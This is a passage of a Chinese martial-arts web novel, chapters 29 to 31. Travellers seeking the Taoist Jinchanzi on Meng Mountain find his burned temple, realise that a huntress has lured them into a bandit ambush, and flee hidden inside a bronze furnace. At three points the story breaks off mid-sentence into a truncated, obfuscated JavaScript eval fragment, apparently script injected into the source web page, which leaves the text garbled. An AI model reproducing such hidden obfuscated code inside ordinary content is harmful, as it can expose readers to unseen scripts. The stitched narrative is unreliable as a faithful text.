“这位公子是……”她绞尽脑汁也没想出个不得罪人的字眼来,“残废了?” 君实一口茶差点喷出来,仕渊的谎话倒是先出了口:“那倒不是。我和我这兄弟昨日打赌,他输了,所以得被锁链捆上个三天!” “你们城里人真会玩儿……”阿朵努努嘴,“我看就是闲得!这山路不好走,小心摔着!” “确实是闲得……”君实瞥了一眼仕渊,正色道,“阿朵姑娘,其实我们来此山中是在寻一位故人。这人自称‘金蟾子’,是一位身形短壮的老道士,据其所称来自‘蟾螳宫’,多半应是在蒙山北坡之上,一道瀑布所在之处。不知姑娘是否有所耳闻?” “哎呀就是王金蟾嘛!”阿朵一拍大腿,“但没有你们说得什么宫,他就住在后山上的一间荒庙里!” 她盘腿上了桌,继续道:“这人三天两头下来跟我们买药材、讨肉吃,身上没钱了就拿些丹药换!这人虽吝啬得紧,但所炼丹药,不管是治人的还是药毒虫的,都挺管用!你们寻他,莫非是求 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清冽的山雾穿袖而过,他伸了个懒腰,闭眼聆听松涛起伏,一时竟分不清面前是山是海。 他平日清晨总是慌慌张张地洗漱穿戴,然后火急火燎地用饭灌汤。进了书院,大门一闭,便不知晨昏几时。好不容易有清闲,也总是睡到日上三竿,从未见过山中有雾、雾中染霞是何景象。此刻山峦叠翠、云蒸霞蔚之间,他总算体会到了山水丹青所绘之奇绝、诗书笔墨所言之精妙。 正当游目骋怀、仰观宇宙之大时,但听“啪唧”一声,身后的老黑驴甩了坨大的,不偏不倚,就在小院门口。 污秽冒着热气,仕渊甚是慌张,满院子找铁锹,引得珍宝一阵狂吠。 阿朵扛着斧子从厨棚后走出来,稳住了珍宝,道:“公子这是怎么了?” “对不住,那头臭驴子……” “挺能拉的!”阿朵露出小虎牙,格格地笑着,“公子不用管了,我一会去铲,晒一晒还能拿来种瓜。” 仕渊有些过意不去,便拿走了阿朵手中的斧子,道:“有我们三个大男人在,劈柴这种事怎能劳烦姑娘?” 说罢,他穿过厨棚,来到柴火堆旁,随手捡了段木头立在桩上。 “那段已经劈过了,太细的话烧不久。”阿朵跟在他后面,又捡起一段粗木换到木桩上,双手叉腰,看戏似地等着他砍。 仕渊手起斧落,木头完好无损地飞了出去,又被珍宝喘着粗气捡了回来。不知道的还当少爷这是在捶丸训狗呢。 一旁的阿朵笑岔了气,打趣道:“公子是否没劈过柴?还是我来吧!” 陆小少爷确实没劈过柴,这辈子连后厨都没去过几次,但他帮忙并非只是做做样子。 “我不会劈柴,但我会学啊!”他粲然道,“这世上有人授我诗书,有人教我骑射,却唯独没人教我劈柴。阿朵,你不妨做这第一人,砍三斧子试试,看我学不学得会!” 说罢,他一转手腕,将斧柄伸到阿朵面前,满怀期待地望着她。 清晨不同黄昏的晦暗,阿朵这才将眼前公子看得真切——这人竟溪石般净润,画眉般精巧,雄鹿般温朗! 朝日初升,红霞全落在了她耳根和面颊上。 她匆忙收起目光,一手夺过仕渊手中的斧子,另一只手正了正头上的野花,假嗔道:“看好啊,我只教你三次!” 斧子落下,那木头却又飞了出去,引得珍宝再度出马。 她满脸通红地望着那木头,索性一跺脚,甩下斧子跑了,留下仕渊和叼着木头的珍宝茫然不解。 29.四象玄机星图中,十面埋伏影重重(上) 辞别阿朵之前,仕渊念着相聚是缘,日后或许不会再见,便偷偷地在里屋留了一吊钱和一壶酒作为答谢。 阿朵十分好客,硬是要将众人送到山上去,路上却又不发一言,满脸心事。 相比江南的碧岫翠峦,这里的山石更为殊骛堂皇,墨绿的皴擦下露出大片的赭黄底色。仲夏将至,愈往大山深处走,草木愈是茂盛,虫鸟和鸣,逐渐有溪流声入耳。 几人来到一处开满繁花的地方歇脚,此处花朵黄白交接,花瓣曲柔舒展,中生丝绦,如起舞的仙子。 仿佛看到了漫山遍野的金块银碇,纯哥儿扔下竹篓卷起袖子,头也不回地飞入花丛中,连吃带采,不一会儿便兜了满满一上衣。就连平日里只靠吸风饮露过活的燕娘也“食指大动”,偷偷摘了几朵细嚼慢咽。 “怎么,这是饿着你们了?”仕渊甚是不解。 燕娘鲜少进食也就罢了,纯哥儿自从进了坤珑阁便珍馐美馔不断,昨晚更是清了大半盆山鸡,怎地还这般没出息? “这是忍冬,也叫金银花,清热解毒的。”阿朵随手摘了一朵花,羞红着脸递给仕渊。她目光闪避,一改昨日的话痨,此刻惜字如金:“尝尝。” 仕渊当然知道金银花,平日里头疼脑热时定来相见,却不知那乍看细小枯黄的药材,在原生的天地中竟有如此仙姿。 他好奇地接过那花放入口中咀嚼,味道芬芳过后是满嘴的清苦,而后又隐有回甘,细细品尝好像也无甚特别之处。 “忍得冬去春雪尽,独绽芳心四月天。守着这金山银山,难怪令尊不愿搬迁,旁人想留还留不下来呢。” 君实笑吟吟地看着仕渊与阿朵,又望了望远处已经啃秃了一大片花草的老黑驴,“云雾散了不少,应是快到晌午了,再不走,我怕这花海要变荒原了。” 仕渊听出了君实的调侃,冲他做了个鬼脸后兀自牵驴去。 “你们……非要去找王金蟾不可吗?”阿朵嗫嚅道,“故人相见,不如……不如我陪你们先去兰陵逛一逛买点见面礼?” 君实看出了阿朵的心思,虽有些不忍心,但聚散终有时,不切实际的念想当断则断。 “我们旅者步行匆匆,刚从兰陵县来,之后还要赶去益都府。”君实道,“诸事繁忙,实在不好意思再多叨扰,烦请姑娘指路,我们自行去找金蟾子即可。幸得姑娘一茶一饭收留一宿,往后山水相隔,我们必会记挂。” “也好,那我就送你们到这儿吧……”阿朵乖巧地点了点头,“你们顺着前面的溪流上山,会看到一处深潭,潭上有三重瀑布,那破庙就在左侧的山峰上。” 阿朵远远地瞥了仕渊一眼,又道:“瀑布边有条近道可以上去,但坡陡路滑,你们千万要小心……那,那我去采药了,你们保重!” 她挎起篮子转身就跑,像只落荒而逃的小兽一般,很快就消失在林间。 ------------------------------------- “你究竟干了些什么啊,让人家姑娘平地起波澜?” “小堂叔说甚?我听不见!” 瀑布飞流直泻,水声轰鸣,也不知仕渊是真没听见还是在装傻充愣。 眼看就要见到金蟾子了,仕渊却一阵心慌。目前尚不清楚此人德行,更怕人们口中这疯疯癫癫的老道士会有什么出格的举动。 若是连金蟾子也解不了这锁链,下一步该当如何呢? 阿朵指得这条小道狭窄陡峭,被瀑布溅出的水雾浸得甚是泥泞。那老黑驴勉强走过第一重瀑布,便死活拖不动了,仕渊只得将它拴在半山腰的一棵树上。 行至艰难处,他将纯哥儿的背篓和行囊扛到自己身上,而纯哥儿则把君实前胸贴后背地绑在身上,手脚并用地向上爬。 好不容易走过了最泥泞的一段稍作停歇,三人鞋子裤子上全是脏污。而燕娘正立于一块巨石上望着那第二重瀑布发呆,周身不沾一丝尘埃。 “所以你的轻功不仅能‘水上漂’,还能‘泥上过’?”仕渊靠在石头上,拍打着身上的泥,不料越掸越脏。 “老是站那么高干嘛?在想甚呢?”他又问。 “这条路,似曾相识。” 燕娘痴痴地仰视着那几丈高的瀑布,好似看久了就能逆流而上,一飞冲天。 “若身形轻,便能轻松跳上这巨石。下盘稳,便不会在泥苔上摔跤。飞得远,便能越过那瀑布深涧。闭气三息,次左足蹑天璇,进右足与左足并通气。精,当随运变化,与形合仙。气,能上建华盖,下慑斗魁。神,应上升九天,浮景自然。【1】” 她这一番话如天外传音,来得突然,让人不知所云。 “你在说什么?我怎地越到后面越听不懂?”仕渊道。 “这是我师尊说的,我当时也不懂。”燕娘回道,“其实以前她老人家说的大部分话我都不太懂。但该做的事便从容去做,简而言之,不能‘怵’。” 仕渊咂摸了半天才明白,原来燕娘是在开解他、激励他继续走下去。 “来都来了,我怎会‘怵’?”他朗声笑道,“这金蟾子既是你故人,又有患难之交,多半会倾力相助。即便不愿相助,反正有你在,再加上我们仨,软的不行来硬的,威逼不成便利诱,不怕降服不了他!” 这般说辞,不乏自我宽慰和逞能,却也足够振奋。燕娘静静地睥睨着这位公子哥,良久后道:“解开锁链后,你们作何打算?” “自是游山玩水,吃吃喝喝地打道回府!旁得我也不想沾惹,毕竟八月还有场秋赋在等着我们呢。” 说话间,仕渊回首,燕娘也寻着他的目光望去,见纯哥儿捧着个水袋,君实正伸着用苇管脖子饮水。如此湿热的天气,君实依然裹着个大氅,碎发沾着汗渍紧贴在额前鬓角,脖颈处已是青紫一片。 “那你要拿‘神荼索’如何?”燕娘又问。 “这邪门玩意自然是物归原主,带回坤珑阁锁好,不能让它继续害人了。”仕渊看着君实的伤痕,不忍中夹杂着一丝愧疚。他转而望向燕娘道:“有劳姑娘费心,不知燕娘之后作何打算?” “我……” 燕娘顿了顿,袖中的手将释冰握紧了几分,“还有些事情要同秦大人处理,之后自是回林家班。多说无益,加把劲继续上山吧,马上就到了。” ------------------------------------- 暴戾的瀑布之上是片平静的天池,水面上有丝丝薄雾掠过,池水深不见底,足够一条蛟龙盘踞。 众人继续上行,于山巅处回望,见一池春水,下接三叠瀑布,对望五重山,九天之外尽是云蒙。 脚下是一处天然的石台,宽阔平整,十几棵青松立于其上,姿态婀娜,如仙人起舞。 远观群山虬伏如浪,似灵龙蟠跃,而那山势汇聚之处有一高峰与脚下山头正对,上有奇石凸起。 奇石一侧水痕镌壁,纹理鲜明。前日刚下过雨,那凸起处有涓涓细流倾泻万丈,被阳光一照,宛若天宫开宴洒金霖。 “神龙聚会处,众仙搭戏台,天壶倾玉液……还有‘王母后花园’!” 仕渊指了指纯哥儿嘴里的金银花,“按理说应该就是这儿了,但不像是有寺庙的样子啊……” “少爷,你老是盯着山阴处也没用啊,哪有建房子建在山阴处的啊!先生你说呢?”纯哥儿凑到君实跟前。 “此山头皆是裸石,不宜起房屋。”君实面色潮红,想必累得不清。他思索着望了望来路,又道:“山阳处这条小路过于险峻,若真有寺庙,想必也在那天池对岸。” 君实都这么说了,几人想都没想便奔着那天池对岸的方向而去,果然在层林掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北侧配殿最为不堪,焦黑由台基一直蔓延至斗拱。本该木桩般粗的檐柱被烧成了手腕一样细,颤颤巍巍地支撑着出檐。周正的四阿顶倾斜着,瓦片碎了一地——若不是榫卯的勾心斗角,怕是早就坍塌了。 中间正殿里面空气沉闷,焦炭味夹着霉灰味扑面而来。中央有个两人多高的泥塑,被砸得七零八落,只留了个人形和巨石底座尚在,混着麦杆的泥胚裸露在外,黑黢骇人。 几人绕着塑像左看右看,也没看出供奉得是何方神圣,倒是塑像后面的几个坛子引起了纯哥儿的注意:“咦?别的庙奉香火,这个庙供的是腌菜?” “别碰,小心有诈!” 仕渊的喝止晚了半拍,纯哥儿已然将其中一个坛子开了封,一股腐臭腌臜的气味窜入鼻腔。 燕娘眼疾手快,上前一步夺过纯哥儿手中的封盖,惊鸿一瞥间,被呛得眼泪汪汪。 她猛地合上坛盖,花容失色地倒着气:“还、还真是腌菜……” “还记得昨日玉虚观的小道童曾说过,金蟾子开春前偷了几颗白菜?”仕渊哭笑不得,“一个坛子一颗,都在这儿了!” “可惜后来一朝大火,烧干了坛口处用来密封的水,让这几位‘清流’迂腐寒酸了……”君实打趣道。 他扫视着剩下几坛摆得整整齐齐的腌菜,见纯哥儿无意中移走一坛后,墙上露出些许墨迹。由于被坛子挡着,并未被烟熏火燎,清晰可见。 “墙上有东西!”君实警觉道,“纯哥儿,麻烦把这些坛子移走!” ------------------------------------- 【1】后半段改编自《云笈七签》中的《太上飞行九神玉经》一章。 30.四象玄机星图中,十面埋伏影重重(下) 纯哥儿麻利地移走了坛子,只见后墙上的方寸之间,涂划着许多点线圆圈。 这些墨迹看似凌乱,却是上下左右呈环绕状。底部一个圆圈上标注着“扬州”两个小字,另有左边一个圆圈上标注着一个“羊”字,却又被划掉了。 仕渊觉得这图甚是眼熟,斗转星移中仿佛回到了一个月前的天祺夜会。 人潮涌动,华灯璀璨,讶鼓戏台阁上的“星君”们玲珑八面。在那喧嚣光景的不起眼处,总有这些点线图形在跳跃。 “这是四象二十八星宿图!” 这回抢在仕渊前头说出答案的竟不是君实,而是纯哥儿。 “纯哥儿这几年道童没白当,学了些门道。” 君实点头道,“二十八星宿以东方青龙、南方朱雀、西方白虎、北方青龙四象分布,每象七宿列位。金蟾子南下扬州是为这‘神荼索’,若‘扬’字对应扬州,那个标有‘羊’字的,我只能想到大理国都城羊苴咩,刚好对应了图上的西方毕宿。” 纯哥儿左瞧右看,满脸狐疑:“‘羊’字儿我认识,但照这个方位看,扬州应在东方啊,怎地被标到南方鬼宿去了?” “你忘性倒挺大,我们在漕船上不还说过这事儿嘛!”仕渊弹了下纯哥儿的脑门,“这锁链本不在扬州,是海沙帮从海外一处叫‘鬼门关’的地方带回来的!” 君实道:“不错,鬼宿居东南,而海沙帮在东海南海四处淘沙,寻得如此奇物也不足为怪。这锁链看似平平无奇,却与星宿有所关联,如不出我所料,当世如‘神荼索’这般奇绝之物,至少有二十八件。可叹大千世界尽是奥妙玄机,多得是参悟不透,求而不得之事啊……” “参悟不透便不参悟,别忘了我们是来找人的。”燕娘指了指身后,插言道,“还有两间屋子没搜呢,不要放过任何蛛丝马迹。” 三人闻言,乖巧地四散查探。 南侧偏殿地上一片狼藉,蛛网覆盖着稀碎的陶片与成灰的布帛。本就简陋的桌椅床榻四散在地,全成了焦木与残片,明显是许久无人居住了。 “这里有腊肉!还有个值钱的大家伙!” 纯哥儿的声音自对面传来。君实与仕渊出门一看,北侧偏殿前躺着两捆腊肉,周身干干净净,与满屋的焦黑格格不入。 而纯哥儿说的“大家伙”,正宝相庄严地坐在屋内烟囱下。 这是一座一人多高的紫金铜炉,炉矮脚呈葫芦状,上有八角攒尖宝顶,下有三足兽爪踮地。炉肚持双龙耳,上有祥云八卦图样,活像个叉腰戴斗笠的大肚老道。 细看这炉身脏兮兮的,还有个巴掌宽的破洞和丝丝裂纹,更平添几分破落。 端详着铜炉,仕渊咋舌道:“都说器物随主。我虽未见过金蟾子,但照谭掌柜描述,八成跟这铜炉有些相像。” “确实,只不过金蟾子本人可没有这般高大,更没这般安静乖巧。” 燕娘说笑着拍了拍这乖巧的“金蟾子”,不料“咣当”一声巨响,惊得众人一阵肝颤——铜炉的底掉了! “空巢老道可承受不起姑娘的纤纤玉手!” 仕渊连连驱赶扬起的黑灰,无奈还是吸入了一些,“怎么还出虚恭了,酸臭酸臭的!” 那堆黑灰中夹杂着一些白色石渣,怪异的气味正是来自这堆残灰。而紫金炉底边缘焦黑蜷曲,多半是安不回去了。 “这‘老道’已然晚节不保,废了。若阿朵所说不假,金蟾子平日炼丹应就在此处。”他悻悻道,“但这味道哪像是丹药,分明是火药!” 君实思忖片刻,道:“这味道和色泽,确实是硝石和硫磺,此二者易燃易炸。先前那屋的桌椅碎裂四散,若是单纯的走水应不止于此,所以走水前多半发生过剧烈的打斗。所以我猜测,多半是打斗殃及了正在运转的铜炉,铜炉爆炸蹿了火,将整间庙烧起来。” “那金蟾子呢?”仕渊担忧道,“我们是来解锁链的,重要的是金蟾子的安危下落。他该不是……” 君实目光飞速地扫视四处,边走边思量道:“此人大过年的去玉虚观给曾青送药,还不忘顺几颗白菜回来,可见生活拮据。眼下虽不知何人袭击了这间小庙,却绝不是为了钱财。不过金蟾子既然能南下扬州去坤珑阁买神荼索,也并非身无长物,可细看这满地的残遗中,并无任何细软。” “不错,甚至连修金合药用的甘锅、固济、铜舂、铁船等物都不见踪影。”仕渊蹙眉道,“可见已经有人清扫过这‘战场’了。” 纯哥儿还在搔着头理着其中门道,又听君实缓缓道:“仇家不会留在庙外等着大火烧尽,再躬身翻检几个银钱锅具带走,更不可能是被飞禽走兽‘清扫’了。阿朵姑娘说过,这山中只剩她一户,所以也不会是过路人顺手牵羊。所以……” 他立定身形,满面愁容强挤出了一丝苦笑,“金蟾子不仅没有性命之忧,还有精力和体力收拾残局呢。可惜眼下,我也说不准该去何处寻他。” 燕娘环抱起双臂,道:“阿朵说金蟾子前日还找她要了腊肉……他会不会是跑到山里其他地方藏着了?炒鸡店王干娘说过,很多道人会在山中找个洞修炼,金蟾子会不会也躲在某个洞里?” 她言语略显急躁,而君实只是低头看着地上的腊肉,道:“不会,若是他如今还躲在某个山洞里,横竖也无法炼丹药了,费那么大劲带走那些器具作甚?丹朱和曾青也曾说,金蟾子开春后便没再‘光顾’玉虚观,所以多半不在此山中了。” 他喃喃道:“况且他若是还在此山中,这腊肉便不会出现在此处——饿都快饿死了,为何不将讨来的腊肉带回洞中享用,而是扔在地上弃之不顾?可若连锅具都带走了,按道理也不该把小姑娘的心意丢在门口啊……” “那就只有一种可能!”仕渊诧道,“这腊肉并不是金蟾子自己下山找阿朵要来的!” 君实思索一番,点头道:“不错。定是阿朵有些时日没见到金蟾子,自己带着腊肉来寻他,没成想看到了这骇人景象,惊吓间扔了腊肉跑下山去。那么,问题来了……” “阿朵为何要骗我们到此处?” 二人几乎异口同声的一句话,有如天边一道惊雷乍响,让这本就黑黢的小庙愈发乌云密布。 “阿朵当真是山野猎户么?”君实面色凝重,“昨日她拿来的茶可是御贡品级的洞庭山茶。” “应当是猎户不假!”纯哥儿接道,“昨日我给阿朵姑娘帮厨时,还在柴火堆旁见到一只拴着的鹰。不是平日打猎用的,还能是养来玩儿的?” “真的假的?我今早砍柴时怎地没见到有鹰?” 仕渊鄙夷地看着纯哥儿,忽地思绪回到了长恭浴亭的氤氲暖雾中、女直山匪古铜色的胸膛上。 那胸前纹着一只立于山巅的雄鹰,双睛正直勾勾地盯着猎物。 而那猎物,正是他自己。 “君实,你记不记得长恭浴亭里,那胖客商说过他是平江府茶商?而且每年都送最顶级的茶叶去打点摩云崮山匪?” 仕渊嘴上问得镇定,冷汗却不住地从额间冒出。 “你没记错。”君实面色凝重,“而那洞庭山茶……正是平江特产。” 他语气平和,在仕渊听来却似狂风骤雨一般。 “不好,我们中计了!” 他猛地一拍脑门,埋怨自己怎地如此后知后觉。或许是因为阿朵小姑娘家一笑,小虎牙一露,自己就放下了防备之心。 谁知那娇俏之下的底色,竟是青面獠牙。 见纯哥儿还坐在铜炉边搞不清状况,他气道:“你傻啊!那鹰是山匪用来通风报信的!此地不宜久留!” 他扶起君实抓起行囊,未走出两步,便被释冰剑拦住了去路。 “收声,别冒进!”燕娘语气之凛冽不亚于手中长剑,“外面有肃杀之气。” 话一出口,三人皆定在原地不敢作声。 纯哥儿拎着竹篓的手悬在半空,只有眼珠子骨碌骨碌四处转,胳膊都酸了也没感受出什么来。 “大姐,你说的杀气是……”他虚着声音道。 “动者恭默守静,静者风驰雷动。”燕娘放下执剑之手,低声道,“鸦雀是动者,我们来时聒噪不休,眼下却安静了。草木是静者,方才无风却自动。” “这不是自己吓自己呢么,我去瞧瞧!”纯哥儿放下竹篓,战战兢兢地往院门处挪动。 那院门依然紧闭,好在先前被仕渊敲出个破洞,正好方便窥伺。 院外丛生的杂草灌木挡住了大部分视线。纯哥儿撅着腚左瞧右看,忽见天池方向一丝水雾如流云般游走。 簌簌声渐响,草叶为风倾倒,翻动着深浅不一的青绿,却隐约有斑斑驳驳的十余片草叶色泽不变,亦不随风所动。 强风袭至小庙,纯哥儿动了动鼻头,惊觉不对劲,连滚带爬地跑回了屋,怔忡地望着众人道:“是马粪味!我们……我们真的被埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哪儿来的后门!”仕渊气道,“这破院墙一翻就塌,你是想让贼人抓我们个倒栽葱?” “死得也太难看点了……”纯哥儿不敢抬高声音,生怕打草惊蛇,“少爷,要不然……咱主动点,破财免灾?” “休想!” 仕渊照着纯哥儿后腰踹了一脚,斥道,“你忘了我爹是谁?咱又是谁帮忙、借着什么由头才过来的吗?此事牵扯了太多人,还关系着国祚!况且我就是折在这里,也不能再给家里添麻烦!” “纯哥儿你有所不知。”君实插言道,“一旦被摩云崮山匪抓到,就会被胁迫着给家里写信要钱,三十日之内钱财不到位便一命呜呼。现今南北交恶,你说这信写给谁呢?是大宋的吏部尚书家里?还是有招安之任的镇抚使秦大人?又或是你莱州的老娘家?” “那要怎么办嘛!”纯哥儿瘫坐在地,带着哭腔哀怨道,“我在这儿活了十来年都没出过啥事儿,怎地跟你们才来几天就这么倒霉……” 仕渊苦笑连连——这趟出远门,他的宗旨便是不惹是非,怎料是非总能找上他。 他揉了揉纯哥儿被踢到的后腰,权衡片刻后,对燕娘道:“我四体不勤六艺不精,无力自保,本就不该拖累姑娘。姑娘既然自保的功夫卓然超群,那便逃命去吧!但希望你能带上君实保他周全,好不好?” “那你呢?”燕娘与君实异口同声道。 “和纯哥儿留下为你们断后。” 他水亮的眸子弯成了月牙状,“不必担心我,真的。届时你们往北走去蒙阴县等我,若我三日之内不出现,你们便去益都与秦大人会和,再做打算。” 仕渊看似胸有成竹,但只有君实知道,这位小少爷越是平缓镇定,心中越是没底。 “断后也万万轮不到你来!“你本可以留在在扬州作壁上观,可你非但没有放弃我,还与我同涉险。” 生怕他冲动行事,君实苦口婆心道,“若是你有个什么差池,我不仅无颜面对陆家人,更是一辈子都无法安心!你有坦荡仕途、荣华富贵,现在不是逞英雄的时刻啊,陆秋帆!” 而仕渊只是静静地望着这陪伴了他两年的人。 君实周身散发着泥土、铁锈、与血汗味,眼神里满是愧疚、愤怒、与惊怖,哪里还像昔日清隽端方的小神童? 是我把他作弄成这幅模样的,仕渊心道。 他下意识地避开君实目光,信步嗟叹:“作壁上观只会让我寝食难安,荣华富贵也要图个问心无愧。常言道,力微休负重,无钱休入众,遭难莫寻亲……这几条我好似都违背了,你还不让我逞个英雄?” 四下逡巡间,他注意到了一样东西,忽地立定身形,望着面前三人,嘴角狡黠上扬—— “若我说我已有脱身妙计,且此计非我和纯哥儿不可,你们信还是不信?” 31.刀枪剑戟皆无用,吾有金刚护体功(上) 瀑布之上,天池一隅,一个少女躲在树丛中,时不时张望着天池对面的小庙。 她惶惶不安地看着一队人马换上伪装,与自己擦身而过,最后匍匐着消失在小庙前的草丛中。 “朵里必,你怎么也来了!” 一句雄浑低沉的女直话自少女身后传来,惊得她一个趔趄。 “阿爹!”她瞪着眼前壮硕如山的男人,“你吓死我了!” 男人走了许久山路,现下正气喘如牛,见女儿用汉话回敬他,便也以汉话道:“明明是你自己鬼鬼祟祟,心神不宁。” “哪里有……”阿朵顺了顺自己胸前的麻花辫,忽又想起什么,抬头向山道下张望,“二当家呢?他来没来?” “这么久不见,不问候问候你阿爹,倒是先想着二当家!我阿里因的女儿何时变得这么扭捏?” 阿里因肉手胡了胡铜镜般光亮的脑壳,气道,“来了!我硬拽来的!人在山下饮马呢!” 阿朵不解:“不是说蒙古马挺结实的吗?我见其他马匹都能上到山腰处了。” “再结实也爬不惯山道啊!况且塔斯哈这匹,腿不长脾气倒不小。驯了好几个月,以为差不多了拿出来遛遛,谁知半道上又尥蹶子了!” 阿里因在摩云崮的地位虽不及二当家,但年纪比他大,又因摩云崮大寨中的女真人其实并不多,私下里皆以兄弟相处,所以习惯了直呼其名。 “闲话一会儿再说。”阿里因正色道,“你信笺上说的那四个宋人,都在庙里边了吗?” “在,进去有一会儿了。”阿朵低垂着头,见阿里因一副志在必得的样子要离去,蓦地抱住了他的手臂,细声询问道:“阿爹,咱们真的要吃下这一票吗?” “怎么,反悔了?”阿里因见女儿神色不对,兀自向前走,“这鹰可是你放的。我们昨日刚回摩云崮卸货,就收到你的飞鹰传书。大晚上的,弟兄们觉也不睡了,星夜来驰援你!连二当家都来了,怎能说放就放?” 娇小的阿朵哪里拽得住山一般的阿里因,说话间已被他老牛犁地般拖出好远。 终于,她破罐子破摔道:“我还不是想为摩云崮立个功,离二当家近一些嘛!但谁知道……” 阿朵顿了顿,她自然不好意思说“山外有山,人外有人,那贾公子比二当家还俊”,只能抱紧她阿爹木桩般的手臂道:“昨日是我冒进了!那肉票的确是宋人,但并非商贾,只是游山玩水的寻常书生,没多少肉的,而且人还蛮善良……” “寻常人家饭都吃不饱,来者既能结伴游山玩水,又读得起书,家境定是差不了!有多少榨多少便是!” 阿里因看了看瑟缩着的女儿,又望了望远处匍匐在野的弟兄们,用女直话回道:“猎物就是猎物,哪里还分良善?鹰一旦出动就只能冲下去,中途停下只会坠落,将自己置入险地。” 说罢,他像野兽叼幼崽那般,将阿朵拎起来放到树丛中,另一只手伸到嘴边,冲远处打了两声鸟哨。 庙前的草丛顿时立起十个人影,短刃在手,向小庙围拢。另有两侧树上窸窸窣窣,传来两声鸟鸣回应。 阿里因得到回应,也钻进一旁树丛中蹲伏,双手握住别在腰间的一对铜骨朵。 阿朵怎会不知这铜骨朵的厉害?见一切已不可逆转,她当下心一横,用尽全身力气朝小庙方向大喊:“贾公子!小心!” 远处庙前的十名山匪本已包围小院,打算来个瓮中捉鳖,怎奈这本该志在必得的一环,竟被阿朵这一嗓子生生打乱了节奏。 山匪们面面相觑,也不知院里人听没听到动静。领头者示意其他人暂留原地,自己则悄无声息地贴上院门探听。 方一伏身,便听有脚步声隔门而来,他欲拔刀应对,却为时已晚—— 木门炸裂,劲风袭来,直接将他撂倒在地! 门前那些没来得及眨眼的,只见这道劲风裹挟着两个人影,撕裂了草丛,如流星带虹,在空中留下一抹月白色和宝蓝色,随后向天池划去。 包围者的短刃毫无用处,草丛中剩余的埋伏者们这才回过神来,赶忙张弓搭箭。 一时间,数只利箭齐齐射向天池方向,目光寻箭而落,但见水面“叮啷”几个银光闪现,将箭矢打落水中。 领头人一个鲤鱼打挺从地上跃起,却只能眼睁睁看着那两个身影消失在了瀑布之下。 这瓮中的鳖,竟然“飞”了两只! 埋伏已然暴露得七七八八,他扫视了一眼庙前的弟兄,强压怒火道:“你们几个,跟我进去看看!” 一声令下,门前出了五个人跟着领头人进了院门,小院里面空空如也。 “信报上说他们一行四个,这庙里应是还有两人。找仔细点,密道暗门什么的通通不要放过!我不信他们还能耍出什么花样来!”领头人吆五喝四,自己也拿大刀挑着地上的焦木查探。 “头儿!这神像后面有古怪!” 一山匪眼尖,前脚刚迈进主殿,后脚就有了发现。他招呼众人至那破败的神像处,指了指神像旁一块鹅黄色衣角道:“看这锦缎成色这么好,定是那肉票留下来的!这神像后有暗道!” 领头人见神像后整整齐齐地码放着一堆菜坛子,顿时灵光乍现:“谁会在神像的腚后面腌咸菜?这菜坛子八成是开暗门的机关!赶快挪一挪、转一转试试!” 几名山匪喜形于色,赶忙上前开始倒腾金蟾子那几个菜坛子,同时也发现了那菜坛后面隐藏的四象星图。 菜坛子被搬来搬去,却也没见有什么暗门密道出现。其间还有人手欠打开了坛盖,自然是将一众人熏得眼斜嘴歪。 另有一人坚定那四象星图的排列是破解之法,只要将菜坛子照着星图暗示摆放,便能打开密道。 这一伙人弓着腰叉着腿挤在神像后面,注意力全放在了菜坛子上,全然没有察觉咫尺之距的门外,有一座“七足”紫金铜炉,正悄无声息地出了偏殿,向院门飘去。 这庞然大物呈葫芦形,看似宝相庄严,里面的景象却有些辣眼。 两个大男人在里面一前一后挤得紧,纯哥儿在后面托着葫芦的“腰”,仕渊在前面透过那巴掌宽的破洞把握方向,还得时不时地帮纯哥儿分担些重量。 仕渊的心思是:他二人对付这么多老练的山匪,毫无胜算。但再老练也是寻常人,山匪们策马而来又刚爬了山,气都没来得及喘一口,又得屏息埋伏。打虽打不过,但他二人仗着年轻,拼拼体力脚力却不一定逊色。 若躲在铜炉中溜出小庙,届时不管刀枪棍棒都伤不了他二人。只要不被堵在这庙里,他二人拼了老命往山下跑,总有柳暗花明的一刻! 于是乎,两个人就这么蹑手蹑脚地从六名山贼身后溜走。 眼看就要出院门了,仕渊还不忘搭把手将铜炉抬高几寸,以免炉脚磕到门槛。 谁知就是这么几寸,让那铜炉上的八角宝顶“咣”地一声,打在了门楣上。 这突如其来的巨响引得山匪们纷纷回头,逆光瞧见一个硕大的葫芦,葫芦下面还长了七只脚! 未等他们开口,那“葫芦”先闷声喊了句:“冲啊!” 随后它脚下生风,撞破门楣,夺路而逃! 院门外站着四个山匪,他们本在等候头领发令,未成想同伙没出来,倒出来了这么个妖怪! 他们猝不及防时,那“妖怪”已经蹿出去了十来步,却在草丛前定住了——想必是发现了草丛中埋伏的其余八名弟兄。 仕渊在铜炉破洞后打量着面前逼近的八个人,见他们褪去青叶蓑衣,手中的弓矢换成了铁刀和长枪。 “纯哥儿,还记得我教你的招式吗?”他悄声道。 “记得!”纯哥儿的喘息声擦过仕渊的耳廓,“要上吗?” “那就练练吧!” 仕渊咬紧牙关,双目如炬,“巽位,野猪入林!” “得令!” 毕竟当了那么多年的假道童,纯哥儿闻言不假思索地向东北方冲去,与仕渊合力,闷头一顶! 面前这些山匪大字不识几个,即便听清了“铜炉”说得是“巽位”,也不知巽位所指何方。而站在东北方的两位仁兄倒了大霉,登时被一记“野猪入林”拱了个狗啃泥。 “铜炉”又道:“离位!” 纯哥儿丝毫不耽搁,刹住脚步又左后方折去。 仕渊负责掌舵指挥,而纯哥儿只需托着铜炉一味猛冲,转瞬间便将草丛中几人撞得七荤八素。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 